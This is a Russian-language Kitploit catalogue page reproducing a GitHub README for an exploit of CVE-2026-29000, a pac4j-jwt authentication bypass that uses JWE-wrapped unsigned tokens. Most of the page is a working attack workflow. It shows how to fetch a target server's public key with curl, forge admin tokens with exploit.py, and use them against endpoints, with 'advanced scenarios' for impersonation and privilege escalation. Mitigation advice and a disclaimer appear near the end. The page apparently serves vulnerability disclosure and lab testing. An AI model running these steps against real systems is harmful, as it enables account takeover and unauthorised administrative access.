Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-29000 — Эксплойт для CVE-2026-29000, обход аутентификации JWT в pac4j-jwt через JWE-обёрнутый PlainJWT, позволяющий подделку токенов и повышение привилегий. | Kitploit
Инструменты/GitHubGitHub/rootx111/cve-2026-29000
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubrootx111/cve-2026-29000

cve-2026-29000

Эксплойт для CVE-2026-29000, обход аутентификации JWT в pac4j-jwt через JWE-обёрнутый PlainJWT, позволяющий подделку токенов и повышение привилегий.

Репозиторий
2166 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплойт CVE-2026-29000

Обход аутентификации JWT в pac4j-jwt через JWE-обёрнутый PlainJWT

Описание уязвимости

CVE-2026-29000 — это критическая уязвимость обхода аутентификации, затрагивающая pac4j-jwt версий ниже 4.5.9, 5.7.9 и 6.3.3. Уязвимость позволяет удалённым злоумышленникам подделывать токены аутентификации и обходить проверку подписи.

Технические детали

Уязвимость существует в компоненте JwtAuthenticator при обработке зашифрованных JWT (JWE). Когда получен JWE-токен:

  1. Сервер расшифровывает JWE с помощью своего закрытого ключа RSA
  2. Расшифрованное содержимое раскрывает внутренний JWT
  3. УЯЗВИМОСТЬ: Сервер извлекает claims из внутреннего JWT без проверки его подписи
  4. Злоумышленники могут создать JWE, оборачивающий PlainJWT (алгоритм: "none") с произвольными claims

Требования для атаки

  • Доступ к открытому ключу RSA сервера (часто раскрывается через JWKS-эндпоинт)
  • Возможность отправлять подделанные токены в уязвимое приложение

Воздействие

  • Полный обход аутентификации: Злоумышленники могут аутентифицироваться как любой пользователь
  • Повышение привилегий: Можно назначать произвольные роли, включая роли администратора
  • Перехват сессий: Можно выдавать себя за легитимных пользователей без учётных данных

Затронутые версии

  • pac4j-jwt < 4.5.9
  • pac4j-jwt < 5.7.9
  • pac4j-jwt < 6.3.3

Содержимое репозитория

  • exploit.py — скрипт эксплойта на Python для генерации вредоносных токенов
  • vulnerable_server.py — демонстрационный сервер, имитирующий уязвимость
  • requirements.txt — зависимости Python
  • README.md — этот файл

Установка

Предварительные требования

  • Python 3.8 или выше
  • Менеджер пакетов pip

Настройка

root@kitploit:~
# Клонировать репозиторий
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000

# Установить зависимости
pip3 install -r requirements.txt

Использование

Шаг 1: Запуск уязвимого тестового сервера

root@kitploit:~
python3 vulnerable_server.py

Сервер будет:

  • Генерировать пару ключей RSA (сохраняются в server_private.pem и server_public.pem)
  • Запускаться на http://127.0.0.1:5000
  • Раскрывать открытый ключ на http://127.0.0.1:5000/public-key

Шаг 2: Получение открытого ключа цели

В реальном сценарии атаки получите открытый ключ с целевого сервера:

root@kitploit:~
# Скачать открытый ключ с JWKS-эндпоинта
curl http://target-server.com/jwks > target_jwks.json

# Или напрямую с эндпоинта открытого ключа
curl http://target-server.com/public-key > target_public.pem

Для тестового сервера:

root@kitploit:~
curl http://127.0.0.1:5000/public-key > server_public.pem

Шаг 3: Генерация вредоносного токена

Используйте скрипт эксплойта для создания JWE-обёрнутого PlainJWT:

root@kitploit:~
# Базовое использование — аутентификация как admin
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem

# Аутентификация как конкретный пользователь с несколькими ролями
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem

# Добавление пользовательских claims
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","department":"IT"}'

# Сохранение токена в файл
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --output malicious_token.txt

Шаг 4: Тестирование атаки

Тест против уязвимого сервера

root@kitploit:~
# Установить вредоносный токен (скопировать из вывода exploit.py)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."

# Доступ к публичному эндпоинту (должен работать)
curl http://127.0.0.1:5000/api/public

# Доступ к пользовательскому эндпоинту с вредоносным токеном (ОБХОД!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# Доступ к административному эндпоинту с вредоносным токеном (ПОВЫШЕНИЕ ПРИВИЛЕГИЙ!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Ожидаемый успешный вывод с административного эндпоинта:

root@kitploit:~
{
  "status": "success",
  "message": "Admin endpoint accessed - RESTRICTED DATA",
  "user": "admin",
  "roles": ["ROLE_ADMIN"],
  "secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
  "admin_info": "This is sensitive administrative data"
}

Полный рабочий процесс атаки

Полные команды тестирования

root@kitploit:~
# 1. Установить зависимости
pip3 install -r requirements.txt

# 2. Запустить уязвимый сервер (в терминале 1)
python3 vulnerable_server.py

# 3. В новом терминале получить открытый ключ
curl http://127.0.0.1:5000/public-key > server_public.pem

# 4. Сгенерировать вредоносный токен администратора
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt

# 5. Извлечь токен в переменную
TOKEN=$(cat token.txt)

# 6. Тест публичного эндпоинта (базовый уровень — аутентификация не требуется)
curl http://127.0.0.1:5000/api/public

# 7. Тест пользовательского эндпоинта (должен пройти с нашим вредоносным токеном)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 8. Тест административного эндпоинта (УСПЕХ ЭКСПЛОЙТА — должен получить доступ к ограниченным данным)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

# 9. Проверить, что ответ содержит флаг
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'

Продвинутые сценарии атаки

Сценарий 1: Выдача себя за конкретного пользователя

root@kitploit:~
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem

Сценарий 2: Повышение до администратора

root@kitploit:~
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem

Сценарий 3: Внедрение пользовательских claims

root@kitploit:~
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'

Параметры скрипта эксплойта

root@kitploit:~
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
                  [--claims CLAIMS] [--generate-keypair] [--output OUTPUT]

CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens

options:
  -h, --help            show this help message and exit
  --subject SUBJECT, -s SUBJECT
                        Subject (username) to impersonate
  --roles ROLES, -r ROLES
                        Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
  --public-key PUBLIC_KEY, -k PUBLIC_KEY
                        Path to RSA public key PEM file
  --claims CLAIMS, -c CLAIMS
                        Additional claims as JSON string
  --generate-keypair, -g
                        Generate a test RSA keypair and save to files
  --output OUTPUT, -o OUTPUT
                        Output file for the generated token

Как работает уязвимость

Обычный поток JWT (безопасный)

root@kitploit:~
1. Клиент отправляет JWT с подписью
2. Сервер проверяет подпись открытым ключом
3. Если подпись действительна, извлекает claims
4. Предоставляет доступ на основе claims

Уязвимый поток (CVE-2026-29000)

root@kitploit:~
1. Злоумышленник получает открытый ключ RSA сервера
2. Злоумышленник создаёт PlainJWT (alg: none) с произвольными claims
   Пример: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. Злоумышленник шифрует PlainJWT с помощью JWE, используя открытый ключ сервера
4. Сервер успешно расшифровывает JWE
5. Сервер извлекает claims из внутреннего PlainJWT БЕЗ проверки подписи
6. Сервер предоставляет доступ на основе подделанных claims

Почему это работает

Уязвимость возникает из-за того, что:

  • JWE обеспечивает конфиденциальность, но не целостность внутреннего содержимого
  • Сервер предполагает, что успешная расшифровка подразумевает подлинность
  • PlainJWT (alg: none) не имеет подписи для проверки
  • Claims считаются доверенными только потому, что были зашифрованы

Смягчение последствий

Для разработчиков

  1. Обновите pac4j-jwt до версии 4.5.9, 5.7.9, 6.3.3 или более поздней
  2. Всегда проверяйте подписи внутренних JWT после расшифровки JWE
  3. Отклоняйте PlainJWT токены (алгоритм: "none")
  4. Проверяйте алгоритм в заголовке JWT по белому списку

Для системных администраторов

  1. Немедленно обновите уязвимые приложения
  2. Проверьте журналы аутентификации на предмет подозрительной активности
  3. Просмотрите пользовательские сессии и отзовите подозрительные токены
  4. Рассмотрите возможность внедрения дополнительных уровней аутентификации

Безопасная реализация

root@kitploit:~
def verify_jwe_token_secure(token, private_key):
    # 1. Расшифровать JWE
    inner_jwt = decrypt_jwe(token, private_key)

    # 2. Разобрать заголовок внутреннего JWT
    header = parse_jwt_header(inner_jwt)

    # 3. КРИТИЧЕСКИ ВАЖНО: Проверить, что алгоритм не "none"
    if header.get('alg') == 'none':
        raise SecurityError("PlainJWT not allowed")

    # 4. КРИТИЧЕСКИ ВАЖНО: Проверить подпись внутреннего JWT
    if not verify_jwt_signature(inner_jwt, public_key):
        raise SecurityError("Invalid JWT signature")

    # 5. Извлекать claims только после проверки
    return extract_claims(inner_jwt)

Контрольный список тестирования

  • Установить зависимости: pip3 install -r requirements.txt
  • Запустить уязвимый сервер: python3 vulnerable_server.py
  • Получить открытый ключ: curl http://127.0.0.1:5000/public-key > server_public.pem
  • Сгенерировать вредоносный токен: python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
  • Протестировать публичный эндпоинт: curl http://127.0.0.1:5000/api/public
  • Протестировать пользовательский эндпоинт с токеном: curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
  • Протестировать административный эндпоинт с токеном: curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Краткое руководство по началу работы

root@kitploit:~
# Установка и тестирование одной командой
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Ссылки

  • Консультация по CVE-2026-29000
  • Консультация по безопасности pac4j
  • OWASP JWT Security Cheat Sheet
  • RFC 7519 (JSON Web Token)
  • RFC 7516 (JSON Web Encryption)

Отказ от ответственности

Этот инструмент предоставляется только для образовательных целей и санкционированного тестирования безопасности. Несанкционированный доступ к компьютерным системам является незаконным. Используйте этот инструмент только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение.

Лицензия

Лицензия MIT — только для образовательных целей

Автор

Исследователь безопасности Дата: 2026-03-16

Скачать инструмент
  • Проверить получение флага: Ищите FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}